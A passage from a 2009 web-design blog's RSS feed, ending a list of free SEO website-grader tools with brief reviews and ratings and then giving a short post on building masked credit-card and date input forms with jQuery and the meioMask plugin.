<p><br /><br /></p>

<h3><strong>8. <a title="Xinu Returns" href="http://www.xinureturns.com/" target="_blank">Xinu Returns</a></strong></h3>
<a href="http://www.xinureturns.com" style="border:none;"><img src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/xinu.png" alt="Xinu Returns" style="padding-right:20px;" title="Xinu Returns" width="179" height="85" class="alignleft size-full wp-image-858" /></a>
<p><strong>Review:</strong> Xinu Returns is appealing because of its simplicity.  All the analysis info is right there for you once you enter your website's URL: the categories include backlinks, syndication, validations, and more.   Points off for an annoying pop-up and old look-and-feel.</p>
<p></p>
<p>Overall Rating: <strong>6.5/10</strong></p>

<p><br /><br /></p>

<h3><strong>9. <a title="Review My Web" href="http://www.reviewmyweb.com/reviewmyweb/reviewmyweb">Review My Web</a></strong></h3>
<a href="http://www.reviewmyweb.com" style="border:none;"><img style="padding-right:20px;" class="alignleft size-full wp-image-718" title="reviewmyweb_logo" src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/reviewmyweb_logo.gif" alt="reviewmyweb_logo" width="328" height="80" /></a>
<p><strong>Review:</strong> Reviewmyweb.com is a website review tool that ranks your website against competitors and popular search engines.  Unlike hubspot's website grader tool the email field is not opinional (the only way to receive a report is via email).  Not sure if they agree <em>not </em>to sell your email address afterwards... hopefully not.</p>
<p><strong>Note:</strong> It does take awhile to receive the email containing a link to your website's report.  I thought mine never came, but I checked an hour or so after submitting my analysis and it was in my inbox.  Once I reviewed the report it was pretty slim but included some helpful information.</p>
<p>Overall Rating:<strong>5/10</strong></p>

<p><br /><br /></p>

<h3><strong>10. <a title="Submit Express Link Popularity Checker" href="http://www.submitexpress.com/linkpop/">Submit Express Link Popularity</a></strong></h3>
<a href="http://www.submitexpress.com/linkpop/ style="border:none;"><img style="padding-right:20px;" src="http://www.dlocc.com/articles/wp-content/uploads/2009/12/se2005logo666.gif" alt="Submit Express Link Popularity Analyzer" title="Submit Express Link Popularity Analyzer" width="230" height="68" class="alignleft size-full wp-image-767" /></a>
<p><strong>Review:</strong> The last and final SEO tool to make this year's list is Submit Express' link popularity checker.  This tool is free and will analyze your website's popularity (links) on several indexes and social networks.  The report is very basic, but it returns extremely quick results and compares your website's rank to a wide spectrum of results.  Worth a check if you feel the need.</p>
<p>Overall Rating:<strong> 4/10</strong></p>
<p><br /></p>
 <center><script type="text/javascript"><!--
google_ad_client = "pub-0865220113481078";
/* DLOCC CONTENT NEW 468x60, created 10/12/09 */
google_ad_slot = "5878248027";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></center>
<p><br /></p>
<p>Do you have a tool you'd like to share?  Please leave a comment below and let others know!  You can also <a href="http://www.dlocc.com/contact">contact me</a> and tell me why it should be included.  Oh yes, and <a href="http://www.dlocc.com/articles/feed/rss/">subscribe to my RSS feed</a> :]</p>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/top-10-free-websiteblog-grader-seo-tools-of-2009/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Easy Masked Input Forms</title>
		<link>http://www.dlocc.com/articles/easy-masked-input-forms/</link>
		<comments>http://www.dlocc.com/articles/easy-masked-input-forms/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 23:02:02 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Forms]]></category>
		<category><![CDATA[Input Forms]]></category>
		<category><![CDATA[Masked Forms]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=677</guid>
		<description><![CDATA[I recently did some freelance work that required using masked forms on common field inputs: credit card information, phone numbers, dates, etc. To satisfy this request I used jQuery and meioMask - a jQuery plug-in. First off, click here to view the working demo or click the image below: To create a form similar to [...]]]></description>
			<content:encoded><![CDATA[<img class="alignleft size-full wp-image-684" title="Masked Icons" src="http://www.dlocc.com/articles/wp-content/uploads/2009/11/Gas-Mask-128x128.png" alt="Masked Icons" width="128" height="128" />I recently did some freelance work that required using masked forms on common field inputs: credit card information, phone numbers, dates, etc. To satisfy this request I used jQuery and <a title="meioMask" href="http://www.meiocodigo.com/projects/meiomask/">meioMask</a> - a jQuery plug-in.

<span id="more-677"></span>
 <center><script type="text/javascript"><!--
google_ad_client = "pub-0865220113481078";
/* DLOCC CONTENT NEW 468x60, created 10/12/09 */
google_ad_slot = "5878248027";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></center>
First off, <a title="meioMask Demo" href="http://www.dlocc.com/downloads/masked/credit.php">click here</a> to view the working demo or click the image below:

<a href="http://www.dlocc.com/downloads/masked/credit.php"><img class="alignnone size-full wp-image-680" style="border: 0px;" title="meioMask Demo" src="http://www.dlocc.com/articles/wp-content/uploads/2009/11/demo.png" alt="meioMask Demo" width="318" height="164" /></a>

To create a form similar to the demo above:

1. Visit the <a title="meioMask Website" href="http://www.meiocodigo.com/projects/meiomask/">meioMask Website</a>, the documentation and directions are straight-forward for setting up your form.

2. Apply CSS to style your forms.

3. Make your forms function with PHP.

4. Upload your forms to the web.

<strong> </strong>

<strong>Resources:</strong>

<a title="meioMask Page" href="http://www.meiocodigo.com/projects/meiomask/">meioMask Website</a> - Read

<a title="Moo meioMask" href="http://www.meiocodigo.com/projects/moomeiomask">meioMask for MooTools</a>

<a title="meioMask's jQuery Page" href="http://plugins.jquery.com/project/meiomask">meioMask's page on jQuery</a>

<a title="jQuery Website" href="http://jquery.com/">jQuery</a> - Needed in order for meioMask to function properly.

Need some help? I'm available for freelance work: <a title="Contact DLOCC!" href="http://www.dlocc.com/contact">please contact me!</a>

<strong>Note: </strong>One thing I am noticing is there's a delay when entering the date in the input field, not a major problem but could confuse some users.]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/easy-masked-input-forms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
